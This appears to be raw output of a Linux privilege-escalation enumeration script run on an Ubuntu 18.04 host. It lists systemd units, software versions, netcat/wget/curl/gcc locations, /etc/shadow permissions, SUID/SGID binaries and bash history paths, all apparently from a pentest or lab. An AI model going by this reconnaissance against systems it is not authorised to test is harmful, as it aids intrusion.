-rw-r--r-- 1 root root  388 Jul  2  2018 mdmonitor.service
-rw-r--r-- 1 root root 1.1K Jul  2  2018 mdmon@.service
-rw-r--r-- 1 root root  456 Jun 28  2018 ebtables.service
-rw-r--r-- 1 root root  309 May 30  2018 pollinate.service
-rw-r--r-- 1 root root  290 Apr 24  2018 rsyslog.service
drwxr-xr-x 2 root root 4.0K Apr 20  2018 runlevel1.target.wants
drwxr-xr-x 2 root root 4.0K Apr 20  2018 runlevel2.target.wants
drwxr-xr-x 2 root root 4.0K Apr 20  2018 runlevel3.target.wants
drwxr-xr-x 2 root root 4.0K Apr 20  2018 runlevel4.target.wants
drwxr-xr-x 2 root root 4.0K Apr 20  2018 runlevel5.target.wants
-rw-r--r-- 1 root root  383 Apr 12  2018 blk-availability.service
-rw-r--r-- 1 root root  341 Apr 12  2018 dm-event.service
-rw-r--r-- 1 root root  248 Apr 12  2018 dm-event.socket
-rw-r--r-- 1 root root  345 Apr 12  2018 lvm2-lvmetad.service
-rw-r--r-- 1 root root  215 Apr 12  2018 lvm2-lvmetad.socket
-rw-r--r-- 1 root root  300 Apr 12  2018 lvm2-lvmpolld.service
-rw-r--r-- 1 root root  213 Apr 12  2018 lvm2-lvmpolld.socket
-rw-r--r-- 1 root root  693 Apr 12  2018 lvm2-monitor.service
-rw-r--r-- 1 root root  403 Apr 12  2018 lvm2-pvscan@.service
lrwxrwxrwx 1 root root    9 Apr 12  2018 lvm2.service -> /dev/null
-rw-r--r-- 1 root root  175 Mar 27  2018 polkit.service
-rw-r--r-- 1 root root  544 Mar 22  2018 apparmor.service
-rw-r--r-- 1 root root  169 Feb 20  2018 atd.service
-rw-r--r-- 1 root root  287 Feb 15  2018 keyboard-setup.service
-rw-r--r-- 1 root root  312 Feb 15  2018 console-setup.service
-rw-r--r-- 1 root root  919 Jan 28  2018 basic.target
-rw-r--r-- 1 root root  419 Jan 28  2018 bluetooth.target
-rw-r--r-- 1 root root  465 Jan 28  2018 cryptsetup-pre.target
-rw-r--r-- 1 root root  412 Jan 28  2018 cryptsetup.target
-rw-r--r-- 1 root root  750 Jan 28  2018 dev-hugepages.mount
-rw-r--r-- 1 root root  665 Jan 28  2018 dev-mqueue.mount
-rw-r--r-- 1 root root  471 Jan 28  2018 emergency.target
-rw-r--r-- 1 root root  541 Jan 28  2018 exit.target
-rw-r--r-- 1 root root  480 Jan 28  2018 final.target
 -rw-r--r-- 1 root root  506 Jan 28  2018 getty-pre.target
-rw-r--r-- 1 root root  500 Jan 28  2018 getty.target
-rw-r--r-- 1 root root  598 Jan 28  2018 graphical.target
-rw-r--r-- 1 root root  527 Jan 28  2018 halt.target
```

```
-rw-r--r-- 1 root root  509 Jan 28  2018 hibernate.target
-rw-r--r-- 1 root root  530 Jan 28  2018 hybrid-sleep.target
-rw-r--r-- 1 root root  593 Jan 28  2018 initrd-fs.target
-rw-r--r-- 1 root root  561 Jan 28  2018 initrd-root-device.target
-rw-r--r-- 1 root root  566 Jan 28  2018 initrd-root-fs.target
-rw-r--r-- 1 root root  754 Jan 28  2018 initrd-switch-root.target
-rw-r--r-- 1 root root  763 Jan 28  2018 initrd.target
-rw-r--r-- 1 root root  541 Jan 28  2018 kexec.target
-rw-r--r-- 1 root root  435 Jan 28  2018 local-fs-pre.target
-rw-r--r-- 1 root root  547 Jan 28  2018 local-fs.target
-rw-r--r-- 1 root root  445 Jan 28  2018 machine.slice
-rw-r--r-- 1 root root  532 Jan 28  2018 multi-user.target
-rw-r--r-- 1 root root  505 Jan 28  2018 network-online.target
-rw-r--r-- 1 root root  502 Jan 28  2018 network-pre.target
-rw-r--r-- 1 root root  521 Jan 28  2018 network.target
-rw-r--r-- 1 root root  554 Jan 28  2018 nss-lookup.target
 -rw-r--r-- 1 root root  513 Jan 28  2018 nss-user-lookup.target
-rw-r--r-- 1 root root  394 Jan 28  2018 paths.target
-rw-r--r-- 1 root root  592 Jan 28  2018 poweroff.target
-rw-r--r-- 1 root root  417 Jan 28  2018 printer.target
-rw-r--r-- 1 root root  745 Jan 28  2018 proc-sys-fs-binfmt_misc.automount
-rw-r--r-- 1 root root  655 Jan 28  2018 proc-sys-fs-binfmt_misc.mount
-rw-r--r-- 1 root root  583 Jan 28  2018 reboot.target
-rw-r--r-- 1 root root  549 Jan 28  2018 remote-cryptsetup.target
-rw-r--r-- 1 root root  436 Jan 28  2018 remote-fs-pre.target
-rw-r--r-- 1 root root  522 Jan 28  2018 remote-fs.target
-rw-r--r-- 1 root root  492 Jan 28  2018 rescue.target
-rw-r--r-- 1 root root  540 Jan 28  2018 rpcbind.target
-rw-r--r-- 1 root root  442 Jan 28  2018 shutdown.target
-rw-r--r-- 1 root root  402 Jan 28  2018 sigpwr.target
-rw-r--r-- 1 root root  460 Jan 28  2018 sleep.target
-rw-r--r-- 1 root root  449 Jan 28  2018 slices.target
-rw-r--r-- 1 root root  420 Jan 28  2018 smartcard.target
-rw-r--r-- 1 root root  396 Jan 28  2018 sockets.target
-rw-r--r-- 1 root root  420 Jan 28  2018 sound.target
-rw-r--r-- 1 root root  503 Jan 28  2018 suspend.target
 -rw-r--r-- 1 root root  393 Jan 28  2018 swap.target
-rw-r--r-- 1 root root  795 Jan 28  2018 sys-fs-fuse-connections.mount
-rw-r--r-- 1 root root  558 Jan 28  2018 sysinit.target
-rw-r--r-- 1 root root  767 Jan 28  2018 sys-kernel-config.mount
-rw-r--r-- 1 root root  710 Jan 28  2018 sys-kernel-debug.mount
-rw-r--r-- 1 root root 1.4K Jan 28  2018 syslog.socket
-rw-r--r-- 1 root root  704 Jan 28  2018 systemd-ask-password-console.path
-rw-r--r-- 1 root root  632 Jan 28  2018 systemd-ask-password-wall.path
-rw-r--r-- 1 root root  564 Jan 28  2018 systemd-initctl.socket
-rw-r--r-- 1 root root 1.2K Jan 28  2018 systemd-journald-dev-log.socket
-rw-r--r-- 1 root root  882 Jan 28  2018 systemd-journald.socket
-rw-r--r-- 1 root root  631 Jan 28  2018 systemd-networkd.socket
-rw-r--r-- 1 root root  657 Jan 28  2018 systemd-rfkill.socket
-rw-r--r-- 1 root root  490 Jan 28  2018 systemd-tmpfiles-clean.timer
-rw-r--r-- 1 root root  635 Jan 28  2018 systemd-udevd-control.socket
-rw-r--r-- 1 root root  610 Jan 28  2018 systemd-udevd-kernel.socket
-rw-r--r-- 1 root root  445 Jan 28  2018 system.slice
-rw-r--r-- 1 root root  592 Jan 28  2018 system-update.target
-rw-r--r-- 1 root root  445 Jan 28  2018 timers.target
-rw-r--r-- 1 root root  435 Jan 28  2018 time-sync.target
-rw-r--r-- 1 root root  457 Jan 28  2018 umount.target
-rw-r--r-- 1 root root  432 Jan 28  2018 user.slice
-rw-r--r-- 1 root root  493 Jan 25  2018 ssh.service
-rw-r--r-- 1 root root  244 Jan 25  2018 ssh@.service
lrwxrwxrwx 1 root root    9 Jan 18  2018 sudo.service -> /dev/null
-rw-r--r-- 1 root root  155 Jan 17  2018 phpsessionclean.service
-rw-r--r-- 1 root root  144 Jan 17  2018 phpsessionclean.timer
-rw-r--r-- 1 root root  216 Jan 16  2018 ssh.socket
-rw-r--r-- 1 root root  462 Jan 15  2018 mysql.service
-rw-r--r-- 1 root root  741 Dec 18  2017 accounts-daemon.service
-rw-r--r-- 1 root root  246 Nov 20  2017 apport-forward.socket
-rw-r--r-- 1 root root  142 Nov 20  2017 apport-forward@.service
-rw-r--r-- 1 root root  251 Nov 16  2017 cron.service
-rw-r--r-- 1 root root  505 Nov 15  2017 dbus.service
-rw-r--r-- 1 root root  106 Nov 15  2017 dbus.socket
```

-rw-r--r-- 1 root root 331 Nov 1 2017 inetd.service
lrwxrwxrwx 1 root root   13 Nov 1 2017 openbsd-inetd.service -> inetd.service
-rw-r--r-- 1 root root 266 Aug 15 2017 ufw.service
 -rw-r--r-- 1 root root 401 Aug 15 2017 ureadahead.service
-rw-r--r-- 1 root root 250 Aug 15 2017 ureadahead-stop.service
-rw-r--r-- 1 root root 242 Aug 15 2017 ureadahead-stop.timer
-rw-r--r-- 1 root root 330 Aug 10 2017 setvtrgb.service
-rw-r--r-- 1 root root 115 Apr 22 2017 acpid.path
-rw-r--r-- 1 root root 234 Apr 22 2017 acpid.service
-rw-r--r-- 1 root root 115 Apr 22 2017 acpid.socket
lrwxrwxrwx 1 root root   9 Mar 8 2017 cgroupfs-mount.service -> /dev/null
-rw-r--r-- 1 root root 259 Oct 28 2016 ubuntu-fan.service
-rw-r--r-- 1 root root 248 Jul 27 2014 vsftpd.service
-rw-r--r-- 1 root root 188 Feb 24 2014 rsync.service

/lib/systemd/system/apache2.service.d:
total 4.0K
-rw-r--r-- 1 root root 42 Oct 10 2018 apache2-systemd.conf

/lib/systemd/system/sockets.target.wants:
total 0
lrwxrwxrwx 1 root root 25 Feb 28 2019 systemd-initctl.socket -> ../systemd-initctl.socket
lrwxrwxrwx 1 root root 32 Feb 28 2019 systemd-journald-audit.socket -> ../systemd-journald-audit.socket
lrwxrwxrwx 1 root root 34 Feb 28 2019 systemd-journald-dev-log.socket -> ../systemd-journald-dev-log.socket
lrwxrwxrwx 1 root root 26 Feb 28 2019 systemd-journald.socket -> ../systemd-journald.socket
lrwxrwxrwx 1 root root 31 Feb 28 2019 systemd-udevd-control.socket -> ../systemd-udevd-control.socket
lrwxrwxrwx 1 root root 30 Feb 28 2019 systemd-udevd-kernel.socket -> ../systemd-udevd-kernel.socket
lrwxrwxrwx 1 root root 14 Nov 15 2017 dbus.socket -> ../dbus.socket

/lib/systemd/system/sysinit.target.wants:
total 0
lrwxrwxrwx 1 root root 20 Feb 28 2019 cryptsetup.target -> ../cryptsetup.target
lrwxrwxrwx 1 root root 22 Feb 28 2019 dev-hugepages.mount -> ../dev-hugepages.mount
lrwxrwxrwx 1 root root 19 Feb 28 2019 dev-mqueue.mount -> ../dev-mqueue.mount
lrwxrwxrwx 1 root root 28 Feb 28 2019 kmod-static-nodes.service -> ../kmod-static-nodes.service
lrwxrwxrwx 1 root root 36 Feb 28 2019 proc-sys-fs-binfmt_misc.automount -> ../proc-sys-fs-binfmt_misc.automount
lrwxrwxrwx 1 root root 32 Feb 28 2019 sys-fs-fuse-connections.mount -> ../sys-fs-fuse-connections.mount
lrwxrwxrwx 1 root root 26 Feb 28 2019 sys-kernel-config.mount -> ../sys-kernel-config.mount
lrwxrwxrwx 1 root root 25 Feb 28 2019 sys-kernel-debug.mount -> ../sys-kernel-debug.mount
lrwxrwxrwx 1 root root 36 Feb 28 2019 systemd-ask-password-console.path -> ../systemd-ask-password-console.path
lrwxrwxrwx 1 root root 25 Feb 28 2019 systemd-binfmt.service -> ../systemd-binfmt.service
 lrwxrwxrwx 1 root root 30 Feb 28 2019 systemd-hwdb-update.service -> ../systemd-hwdb-update.service
lrwxrwxrwx 1 root root 27 Feb 28 2019 systemd-journald.service -> ../systemd-journald.service
lrwxrwxrwx 1 root root 32 Feb 28 2019 systemd-journal-flush.service -> ../systemd-journal-flush.service
lrwxrwxrwx 1 root root 36 Feb 28 2019 systemd-machine-id-commit.service -> ../systemd-machine-id-commit.service
lrwxrwxrwx 1 root root 31 Feb 28 2019 systemd-modules-load.service -> ../systemd-modules-load.service
lrwxrwxrwx 1 root root 30 Feb 28 2019 systemd-random-seed.service -> ../systemd-random-seed.service
lrwxrwxrwx 1 root root 25 Feb 28 2019 systemd-sysctl.service -> ../systemd-sysctl.service
lrwxrwxrwx 1 root root 37 Feb 28 2019 systemd-tmpfiles-setup-dev.service -> ../systemd-tmpfiles-setup-dev.service
lrwxrwxrwx 1 root root 33 Feb 28 2019 systemd-tmpfiles-setup.service -> ../systemd-tmpfiles-setup.service
lrwxrwxrwx 1 root root 24 Feb 28 2019 systemd-udevd.service -> ../systemd-udevd.service
lrwxrwxrwx 1 root root 31 Feb 28 2019 systemd-udev-trigger.service -> ../systemd-udev-trigger.service
lrwxrwxrwx 1 root root 30 Feb 28 2019 systemd-update-utmp.service -> ../systemd-update-utmp.service
lrwxrwxrwx 1 root root 30 Sep 11 2018 plymouth-read-write.service -> ../plymouth-read-write.service
lrwxrwxrwx 1 root root 25 Sep 11 2018 plymouth-start.service -> ../plymouth-start.service

/lib/systemd/system/getty.target.wants:
total 0
lrwxrwxrwx 1 root root 23 Feb 28 2019 getty-static.service -> ../getty-static.service

/lib/systemd/system/graphical.target.wants:
total 0
lrwxrwxrwx 1 root root 39 Feb 28 2019 systemd-update-utmp-runlevel.service -> ../systemd-update-utmp-runlevel.service

/lib/systemd/system/local-fs.target.wants:
total 0
lrwxrwxrwx 1 root root 29 Feb 28 2019 systemd-remount-fs.service -> ../systemd-remount-fs.service

/lib/systemd/system/multi-user.target.wants:
total 0

lrwxrwxrwx 1 root root 15 Feb 28 2019 getty.target -> ../getty.target
lrwxrwxrwx 1 root root 33 Feb 28 2019 systemd-ask-password-wall.path -> ../systemd-ask-password-wall.path
lrwxrwxrwx 1 root root 25 Feb 28 2019 systemd-logind.service -> ../systemd-logind.service
lrwxrwxrwx 1 root root 39 Feb 28 2019 systemd-update-utmp-runlevel.service -> ../systemd-update-utmp-runlevel.service
lrwxrwxrwx 1 root root 32 Feb 28 2019 systemd-user-sessions.service -> ../systemd-user-sessions.service
lrwxrwxrwx 1 root root 24 Sep 11 2018 plymouth-quit.service -> ../plymouth-quit.service
lrwxrwxrwx 1 root root 29 Sep 11 2018 plymouth-quit-wait.service -> ../plymouth-quit-wait.service
lrwxrwxrwx 1 root root 15 Nov 15 2017 dbus.service -> ../dbus.service

/lib/systemd/system/rescue.target.wants:
total 0
lrwxrwxrwx 1 root root 39 Feb 28 2019 systemd-update-utmp-runlevel.service -> ../systemd-update-utmp-runlevel.service

/lib/systemd/system/timers.target.wants:
total 0
lrwxrwxrwx 1 root root 31 Feb 28 2019 systemd-tmpfiles-clean.timer -> ../systemd-tmpfiles-clean.timer

/lib/systemd/system/rc-local.service.d:
total 4.0K
-rw-r--r-- 1 root root 290 Feb 28 2019 debian.conf

/lib/systemd/system/user@.service.d:
total 4.0K
-rw-r--r-- 1 root root 125 Feb 28 2019 timeout.conf

/lib/systemd/system/halt.target.wants:
total 0
lrwxrwxrwx 1 root root 24 Sep 11 2018 plymouth-halt.service -> ../plymouth-halt.service

/lib/systemd/system/initrd-switch-root.target.wants:
total 0
lrwxrwxrwx 1 root root 25 Sep 11 2018 plymouth-start.service -> ../plymouth-start.service
lrwxrwxrwx 1 root root 31 Sep 11 2018 plymouth-switch-root.service -> ../plymouth-switch-root.service

/lib/systemd/system/kexec.target.wants:
total 0
lrwxrwxrwx 1 root root 25 Sep 11 2018 plymouth-kexec.service -> ../plymouth-kexec.service

/lib/systemd/system/poweroff.target.wants:
total 0
lrwxrwxrwx 1 root root 28 Sep 11 2018 plymouth-poweroff.service -> ../plymouth-poweroff.service

/lib/systemd/system/reboot.target.wants:
total 0
lrwxrwxrwx 1 root root 26 Sep 11 2018 plymouth-reboot.service -> ../plymouth-reboot.service

/lib/systemd/system/runlevel1.target.wants:
total 0

/lib/systemd/system/runlevel2.target.wants:
total 0

/lib/systemd/system/runlevel3.target.wants:
total 0

/lib/systemd/system/runlevel4.target.wants:
total 0

/lib/systemd/system/runlevel5.target.wants:
total 0

/lib/systemd/system-generators:
total 240K
-rwxr-xr-x 1 root root 19K Mar 15 2019 snapd-generator
-rwxr-xr-x 1 root root 23K Feb 28 2019 systemd-cryptsetup-generator
-rwxr-xr-x 1 root root 10K Feb 28 2019 systemd-debug-generator
-rwxr-xr-x 1 root root 31K Feb 28 2019 systemd-fstab-generator
-rwxr-xr-x 1 root root 14K Feb 28 2019 systemd-getty-generator
-rwxr-xr-x 1 root root 26K Feb 28 2019 systemd-gpt-auto-generator

-rwxr-xr-x 1 root root 10K Feb 28 2019 systemd-hibernate-resume-generator
-rwxr-xr-x 1 root root 10K Feb 28 2019 systemd-rc-local-generator
-rwxr-xr-x 1 root root 10K Feb 28 2019 systemd-system-update-generator
-rwxr-xr-x 1 root root 31K Feb 28 2019 systemd-sysv-generator
-rwxr-xr-x 1 root root 14K Feb 28 2019 systemd-veritysetup-generator
-rwxr-xr-x 1 root root 4.8K Jan 29 2019 cloud-init-generator
lrwxrwxrwx 1 root root   22 Jan 10 2019 netplan -> ../../netplan/generate
-rwxr-xr-x 1 root root 287 Oct 15 2018 friendly-recovery
-rwxr-xr-x 1 root root 11K Apr 12 2018 lvm2-activation-generator

/lib/systemd/system-sleep:
total 8.0K
-rwxr-xr-x 1 root root 219 Feb 21 2019 unattended-upgrades
-rwxr-xr-x 1 root root 92 Feb 22 2018 hdparm

/lib/systemd/network:
total 16K
-rw-r--r-- 1 root root 645 Jan 28 2018 80-container-host0.network
-rw-r--r-- 1 root root 718 Jan 28 2018 80-container-ve.network
-rw-r--r-- 1 root root 704 Jan 28 2018 80-container-vz.network
-rw-r--r-- 1 root root 412 Jan 28 2018 99-default.link

/lib/systemd/system-preset:
total 4.0K
-rw-r--r-- 1 root root 951 Jan 28 2018 90-systemd.preset

/lib/systemd/system-shutdown:
total 4.0K
-rwxr-xr-x 1 root root 160 Jul 2 2018 mdadm.shutdown

SOFTWARE
[-] Sudo version:
Sudo version 1.8.21p2

[-] MYSQL version:
mysql Ver 14.14 Distrib 5.7.25, for Linux (x86_64) using EditLine wrapper

[-] Apache version:
Server version: Apache/2.4.29 (Ubuntu)
Server built: 2018-10-10T18:59:25

[-] Apache user configuration:
APACHE_RUN_USER=www-data
APACHE_RUN_GROUP=www-data

[-] Installed Apache modules:
Loaded Modules:
 core_module (static)
 so_module (static)
  watchdog_module (static)
 http_module (static)
 log_config_module (static)
 logio_module (static)
 version_module (static)
 unixd_module (static)
 access_compat_module (shared)
 alias_module (shared)
 auth_basic_module (shared)
 authn_core_module (shared)
 authn_file_module (shared)
 authz_core_module (shared)
 authz_host_module (shared)
 authz_user_module (shared)
 autoindex_module (shared)
 deflate_module (shared)
 dir_module (shared)

env_module (shared)
filter_module (shared)
mime_module (shared)
mpm_prefork_module (shared)
negotiation_module (shared)
php7_module (shared)
reqtimeout_module (shared)
setenvif_module (shared)
status_module (shared)

INTERESTING FILES
[-] Useful file locations:
/bin/nc
/bin/netcat
/usr/bin/wget
/usr/bin/gcc
/usr/bin/curl

[-] Installed compilers:
ii g++ 4:7.3.0-3ubuntu2.1 amd64 GNU C++ compiler
ii g++-7 7.3.0-27ubuntu1~18.04 amd64 GNU C++ compiler
ii gcc 4:7.3.0-3ubuntu2.1 amd64 GNU C compiler
ii gcc-7 7.3.0-27ubuntu1~18.04 amd64 GNU C compiler

[-] Can we read/write sensitive files:
-rw-r--r-- 1 root root 1737 Mar 22 2019 /etc/passwd
-rw-r--r-- 1 root root 762 Mar 22 2019 /etc/group
-rw-r--r-- 1 root root 581 Apr 9 2018 /etc/profile
-rw-r----- 1 root shadow 1223 Mar 22 2019 /etc/shadow

[-] SUID files:
-rwsr-xr-x 1 root root 100760 Nov 23 2018 /usr/lib/x86_64-linux-gnu/lxc/lxc-user-nic
-rwsr-xr-x 1 root root 14328 Jan 15 2019 /usr/lib/policykit-1/polkit-agent-helper-1
-rwsr-xr-- 1 root messagebus 42992 Nov 15 2017 /usr/lib/dbus-1.0/dbus-daemon-launch-helper
-rwsr-xr-x 1 root root 10232 Mar 28 2017 /usr/lib/eject/dmcrypt-get-device
-rwsr-sr-x 1 root root 101240 Mar 15 2019 /usr/lib/snapd/snap-confine
-rwsr-xr-x 1 root root 436552 Mar 4 2019 /usr/lib/openssh/ssh-keysign
-rwsr-xr-x 1 root root 37136 Jan 25 2018 /usr/bin/newuidmap
-rwsr-xr-x 1 root root 76496 Jan 25 2018 /usr/bin/chfn
-rwsr-xr-x 1 root root 18448 Mar 9 2017 /usr/bin/traceroute6.iputils
-rwsr-xr-x 1 root root 40344 Jan 25 2018 /usr/bin/newgrp
-rwsr-xr-x 1 root root 44528 Jan 25 2018 /usr/bin/chsh
-rwsr-xr-x 1 root root 37136 Jan 25 2018 /usr/bin/newgidmap
-rwsr-xr-x 1 root root 59640 Jan 25 2018 /usr/bin/passwd
-rwsr-xr-x 1 root root 22520 Jan 15 2019 /usr/bin/pkexec
-rwsr-sr-x 1 daemon daemon 51464 Feb 20 2018 /usr/bin/at
-rwsr-xr-x 1 root root 149080 Jan 18 2018 /usr/bin/sudo
-rwsr-xr-x 1 root root 75824 Jan 25 2018 /usr/bin/gpasswd
-rwsr-xr-x 1 root root 44664 Jan 25 2018 /bin/su
-rwsr-xr-x 1 root root 43088 Oct 15 2018 /bin/mount
-rwsr-xr-x 1 root root 64424 Mar 9 2017 /bin/ping
-rwsr-xr-x 1 root root 146128 Mar 14 2019 /bin/ntfs-3g
-rwsr-xr-x 1 root root 30800 Aug 11 2016 /bin/fusermount
-rwsr-xr-x 1 root root 26696 Oct 15 2018 /bin/umount
-rwsr-xr-x 1 root root 40152 May 16 2018 /snap/core/6350/bin/mount
-rwsr-xr-x 1 root root 44168 May 7 2014 /snap/core/6350/bin/ping
-rwsr-xr-x 1 root root 44680 May 7 2014 /snap/core/6350/bin/ping6
-rwsr-xr-x 1 root root 40128 May 17 2017 /snap/core/6350/bin/su
-rwsr-xr-x 1 root root 27608 May 16 2018 /snap/core/6350/bin/umount
-rwsr-xr-x 1 root root 71824 May 17 2017 /snap/core/6350/usr/bin/chfn
-rwsr-xr-x 1 root root 40432 May 17 2017 /snap/core/6350/usr/bin/chsh
-rwsr-xr-x 1 root root 75304 May 17 2017 /snap/core/6350/usr/bin/gpasswd
-rwsr-xr-x 1 root root 39904 May 17 2017 /snap/core/6350/usr/bin/newgrp
-rwsr-xr-x 1 root root 54256 May 17 2017 /snap/core/6350/usr/bin/passwd
-rwsr-xr-x 1 root root 136808 Jul 4 2017 /snap/core/6350/usr/bin/sudo
-rwsr-xr-- 1 root systemd-resolve 42992 Jan 12 2017 /snap/core/6350/usr/lib/dbus-1.0/dbus-daemon-launch-helper
-rwsr-xr-x 1 root root 428240 Nov 5 2018 /snap/core/6350/usr/lib/openssh/ssh-keysign

-rwsr-sr-x 1 root root 98472 Jan 29 2019 /snap/core/6350/usr/lib/snapd/snap-confine
-rwsr-xr-- 1 root dip 394984 Jun 12 2018 /snap/core/6350/usr/sbin/pppd
-rwsr-xr-x 1 root root 40152 May 16 2018 /snap/core/6531/bin/mount
-rwsr-xr-x 1 root root 44168 May 7 2014 /snap/core/6531/bin/ping
-rwsr-xr-x 1 root root 44680 May 7 2014 /snap/core/6531/bin/ping6
-rwsr-xr-x 1 root root 40128 May 17 2017 /snap/core/6531/bin/su
-rwsr-xr-x 1 root root 27608 May 16 2018 /snap/core/6531/bin/umount
-rwsr-xr-x 1 root root 71824 May 17 2017 /snap/core/6531/usr/bin/chfn
-rwsr-xr-x 1 root root 40432 May 17 2017 /snap/core/6531/usr/bin/chsh
-rwsr-xr-x 1 root root 75304 May 17 2017 /snap/core/6531/usr/bin/gpasswd
-rwsr-xr-x 1 root root 39904 May 17 2017 /snap/core/6531/usr/bin/newgrp
-rwsr-xr-x 1 root root 54256 May 17 2017 /snap/core/6531/usr/bin/passwd
-rwsr-xr-x 1 root root 136808 Jul 4 2017 /snap/core/6531/usr/bin/sudo
-rwsr-xr-- 1 root systemd-resolve 42992 Jan 12 2017 /snap/core/6531/usr/lib/dbus-1.0/dbus-daemon-launch-helper
-rwsr-xr-x 1 root root 428240 Jan 31 2019 /snap/core/6531/usr/lib/openssh/ssh-keysign
-rwsr-sr-x 1 root root 98472 Feb 27 2019 /snap/core/6531/usr/lib/snapd/snap-confine
-rwsr-xr-- 1 root dip 394984 Jun 12 2018 /snap/core/6531/usr/sbin/pppd

[-] SGID files:
-rwxr-sr-x 1 root shadow 34816 Feb 27 2019 /sbin/unix_chkpwd
-rwxr-sr-x 1 root shadow 34816 Feb 27 2019 /sbin/pam_extrausers_chkpwd
-rwxr-sr-x 1 root mail 26616 Sep 12 2017 /usr/lib/emacs/25.2/x86_64-linux-gnu/movemail
-rwxr-sr-x 1 root utmp 10232 Mar 11 2016 /usr/lib/x86_64-linux-gnu/utempter/utempter
-rwxr-sr-x 1 root root 101240 Mar 15 2019 /usr/lib/snapd/snap-confine
-rwxr-sr-x 1 root tty 14328 Jan 17 2018 /usr/bin/bsd-write
 -rwxr-sr-x 1 root shadow 71816 Jan 25 2018 /usr/bin/chage
-rwxr-sr-x 1 root tty 30800 Oct 15 2018 /usr/bin/wall
-rwxr-sr-x 1 root crontab 39352 Nov 16 2017 /usr/bin/crontab
-rwxr-sr-x 1 root shadow 22808 Jan 25 2018 /usr/bin/expiry
-rwxr-sr-x 1 root mlocate 43088 Mar 1 2018 /usr/bin/mlocate
-rwxr-sr-x 1 root ssh 362640 Mar 4 2019 /usr/bin/ssh-agent
-rwxr-sr-x 1 root mail 18424 Dec 3 2017 /usr/bin/dotlockfile
-rwsr-sr-x 1 daemon daemon 51464 Feb 20 2018 /usr/bin/at
-rwxr-sr-x 1 root shadow 35632 Apr 9 2018 /snap/core/6350/sbin/pam_extrausers_chkpwd
-rwxr-sr-x 1 root shadow 35600 Apr 9 2018 /snap/core/6350/sbin/unix_chkpwd
-rwxr-sr-x 1 root shadow 62336 May 17 2017 /snap/core/6350/usr/bin/chage
-rwxr-sr-x 1 root systemd-network 36080 Apr 5 2016 /snap/core/6350/usr/bin/crontab
-rwxr-sr-x 1 root mail 14856 Dec 7 2013 /snap/core/6350/usr/bin/dotlockfile
-rwxr-sr-x 1 root shadow 22768 May 17 2017 /snap/core/6350/usr/bin/expiry
-rwxr-sr-x 3 root mail 14592 Dec 3 2012 /snap/core/6350/usr/bin/mail-lock
-rwxr-sr-x 3 root mail 14592 Dec 3 2012 /snap/core/6350/usr/bin/mail-touchlock
-rwxr-sr-x 3 root mail 14592 Dec 3 2012 /snap/core/6350/usr/bin/mail-unlock
-rwxr-sr-x 1 root crontab 358624 Nov 5 2018 /snap/core/6350/usr/bin/ssh-agent
-rwxr-sr-x 1 root tty 27368 May 16 2018 /snap/core/6350/usr/bin/wall
-rwsr-sr-x 1 root root 98472 Jan 29 2019 /snap/core/6350/usr/lib/snapd/snap-confine
-rwxr-sr-x 1 root shadow 35632 Apr 9 2018 /snap/core/6531/sbin/pam_extrausers_chkpwd
-rwxr-sr-x 1 root shadow 35600 Apr 9 2018 /snap/core/6531/sbin/unix_chkpwd
-rwxr-sr-x 1 root shadow 62336 May 17 2017 /snap/core/6531/usr/bin/chage
-rwxr-sr-x 1 root systemd-network 36080 Apr 5 2016 /snap/core/6531/usr/bin/crontab
-rwxr-sr-x 1 root mail 14856 Dec 7 2013 /snap/core/6531/usr/bin/dotlockfile
-rwxr-sr-x 1 root shadow 22768 May 17 2017 /snap/core/6531/usr/bin/expiry
-rwxr-sr-x 3 root mail 14592 Dec 3 2012 /snap/core/6531/usr/bin/mail-lock
-rwxr-sr-x 3 root mail 14592 Dec 3 2012 /snap/core/6531/usr/bin/mail-touchlock
-rwxr-sr-x 3 root mail 14592 Dec 3 2012 /snap/core/6531/usr/bin/mail-unlock
-rwxr-sr-x 1 root crontab 358624 Jan 31 2019 /snap/core/6531/usr/bin/ssh-agent
-rwxr-sr-x 1 root tty 27368 May 16 2018 /snap/core/6531/usr/bin/wall
-rwsr-sr-x 1 root root 98472 Feb 27 2019 /snap/core/6531/usr/lib/snapd/snap-confine

[+] Possibly interesting SGID files:
-rwxr-sr-x 1 root mail 26616 Sep 12 2017 /usr/lib/emacs/25.2/x86_64-linux-gnu/movemail

[+] Files with POSIX capabilities set:
/usr/bin/mtr-packet = cap_net_raw+ep

[-] Can't search *.conf files as no keyword was entered

[-] Can't search *.php files as no keyword was entered

[-] Can't search *.log files as no keyword was entered

[-] Can't search *.ini files as no keyword was entered

[-] All *.conf files in /etc (recursive 1 level):
-rw-r--r-- 1 root root 812 Mar 24 2018 /etc/mke2fs.conf
-rw-r--r-- 1 root root 1125 Mar 22 2019 /etc/inetd.conf
-rw-r--r-- 1 root root 513 Feb 14 2019 /etc/nsswitch.conf
-rw-r--r-- 1 root root 92 Apr 9 2018 /etc/host.conf
-rw-r--r-- 1 root root 5898 Feb 14 2019 /etc/ca-certificates.conf
-rw-r--r-- 1 root root 5850 Feb 5 2018 /etc/vsftpd.conf
-rw-r--r-- 1 root root 403 Mar 1 2018 /etc/updatedb.conf
-rw-r--r-- 1 root root 3028 Feb 14 2019 /etc/adduser.conf
-rw-r--r-- 1 root root 14867 Oct 13 2016 /etc/ltrace.conf
-rw-r--r-- 1 root root 100 Jun 25 2018 /etc/sos.conf
-rw-r--r-- 1 root root 6920 Sep 20 2018 /etc/overlayroot.conf
-rw-r--r-- 1 root root 4861 Feb 22 2018 /etc/hdparm.conf
-rw-r--r-- 1 root root 2969 Feb 28 2018 /etc/debconf.conf
-rw-r--r-- 1 root root 552 Apr 4 2018 /etc/pam.conf
-rw-r--r-- 1 root root 703 Aug 21 2017 /etc/logrotate.conf
-rw-r--r-- 1 root root 1260 Feb 26 2018 /etc/ucf.conf
-rw-r--r-- 1 root root 280 Jun 20 2014 /etc/fuse.conf
-rw-r--r-- 1 root root 2683 Jan 17 2018 /etc/sysctl.conf
-rw-r--r-- 1 root root 2584 Feb 1 2018 /etc/gai.conf
-rw-r--r-- 1 root root 350 Feb 14 2019 /etc/popularity-contest.conf
-rw-r--r-- 1 root root 34 Jan 27 2016 /etc/ld.so.conf
-rw-r--r-- 1 root root 191 Feb 7 2018 /etc/libaudit.conf
-rw-r--r-- 1 root root 1358 Jan 30 2018 /etc/rsyslog.conf
-rw-r--r-- 1 root root 604 Aug 13 2017 /etc/deluser.conf

[-] Location and contents (if accessible) of .bash_history file(s):
/home/lp1/.bash_history
/home/www/.bash_history

[-] Location and Permissions (if accessible) of .bak file(s):
